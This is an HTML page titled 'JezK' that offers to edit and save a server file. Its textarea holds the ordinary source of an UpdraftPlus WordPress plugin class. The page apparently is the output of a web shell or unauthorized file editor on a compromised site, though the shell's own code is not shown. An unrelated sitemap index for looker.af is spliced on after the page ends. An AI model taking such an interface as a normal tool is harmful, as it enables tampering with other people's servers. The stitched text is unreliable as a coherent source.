
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: class-updraftcentral-updraftplus-commands.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php
if (!defined(&#039;ABSPATH&#039;)) die(&#039;No direct access allowed&#039;);

/*
This is a small glue class, which makes available all the commands in UpdraftPlus_Commands, and translates the response from UpdraftPlus_Commands (which is either data to return, or a WP_Error) into the format used by UpdraftCentral.
*/

if (class_exists(&#039;UpdraftCentral_UpdraftPlus_Commands&#039;)) return;

class UpdraftCentral_UpdraftPlus_Commands extends UpdraftCentral_Commands {

	private $commands;

	public function __construct($rc) {
	
		parent::__construct($rc);
	
		if (!class_exists(&#039;UpdraftPlus_Commands&#039;)) updraft_try_include_file(&#039;includes/class-commands.php&#039;, &#039;include_once&#039;);
		$this-&gt;commands = new UpdraftPlus_Commands($this);
		
	}

	public function __call($name, $arguments) {
	
		if (&#039;_&#039; == substr($name, 0, 1) || !method_exists($this-&gt;commands, $name)) return $this-&gt;_generic_error_response(&#039;unknown_rpc_command&#039;, array(
			&#039;prefix&#039; =&gt; &#039;updraftplus&#039;,
			&#039;command&#039; =&gt; $name,
			&#039;class&#039; =&gt; &#039;UpdraftCentral_UpdraftPlus_Commands&#039;
		));
	
		$result = call_user_func_array(array($this-&gt;commands, $name), $arguments);
		
		if (is_wp_error($result)) {
		
			return $this-&gt;_generic_error_response($result-&gt;get_error_code(), $result-&gt;get_error_data());
		
		} else {
		
			return $this-&gt;_response($result);
		
		}
		
	}
	
	public function _updraftplus_background_operation_started($msg) {

		// Under-the-hood hackery to allow the browser connection to be closed, and the backup/download to continue
		
		$rpc_response = $this-&gt;rc-&gt;return_rpc_message($this-&gt;_response($msg));
		
		$data = isset($rpc_response[&#039;data&#039;]) ? $rpc_response[&#039;data&#039;] : null;

		$ud_rpc = $this-&gt;rc-&gt;get_current_udrpc();
		
		$encoded = json_encode($ud_rpc-&gt;create_message($rpc_response[&#039;response&#039;], $data, true));
		
		global $updraftplus;
		$updraftplus-&gt;close_browser_connection($encoded);

	}
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://looker.af/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://looker.af/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
